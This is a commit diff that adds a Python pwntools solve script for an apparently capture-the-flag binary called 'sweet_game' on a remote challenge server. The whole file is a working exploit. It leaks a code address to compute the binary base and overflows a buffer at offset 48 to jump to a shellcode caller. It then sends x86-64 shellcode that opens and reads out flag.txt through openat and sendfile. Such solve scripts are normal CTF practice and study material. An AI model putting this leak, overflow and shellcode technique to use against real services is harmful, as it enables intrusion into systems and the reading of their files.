solve script
This commit is contained in:
@@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
context.binary = target = ELF("./sweet_game", checksec=False)
|
||||||
|
# r = process()
|
||||||
|
r = remote("challenge.bugpwn.com", 1001)
|
||||||
|
|
||||||
|
offset = 48
|
||||||
|
|
||||||
|
# leak
|
||||||
|
buf = b"A"*66
|
||||||
|
r.sendafter(b": ", buf)
|
||||||
|
r.recvuntil(b"A"*66)
|
||||||
|
main = u64(r.recv(6).ljust(8, b"\x00"))
|
||||||
|
log.info("main: 0x%lx", main)
|
||||||
|
elf_base = main - 0x15bc
|
||||||
|
log.info("elf_base: 0x%lx", elf_base)
|
||||||
|
call_shellcode = elf_base + 0x16d2
|
||||||
|
log.info("call_shellcode: 0x%lx", call_shellcode)
|
||||||
|
|
||||||
|
# jump
|
||||||
|
buf = b"A"*offset
|
||||||
|
buf += p64(call_shellcode)
|
||||||
|
r.sendlineafter(b": ", buf)
|
||||||
|
|
||||||
|
# openat + sendfile
|
||||||
|
shellcode="""
|
||||||
|
lea rsi, [rdx+38]
|
||||||
|
mov edi, -100
|
||||||
|
xor rdx, rdx
|
||||||
|
xor r10, r10
|
||||||
|
add ax, 257
|
||||||
|
syscall
|
||||||
|
xor rsi, rsi
|
||||||
|
mov rsi, rax
|
||||||
|
mov al, 40
|
||||||
|
shr edi, 255
|
||||||
|
add r10b, 255
|
||||||
|
syscall
|
||||||
|
"""
|
||||||
|
shellcode = asm(shellcode)
|
||||||
|
shellcode += b"flag.txt\0"
|
||||||
|
r.sendlineafter(b": ", shellcode)
|
||||||
|
|
||||||
|
r.interactive()
|
||||||
Reference in New Issue
Block a user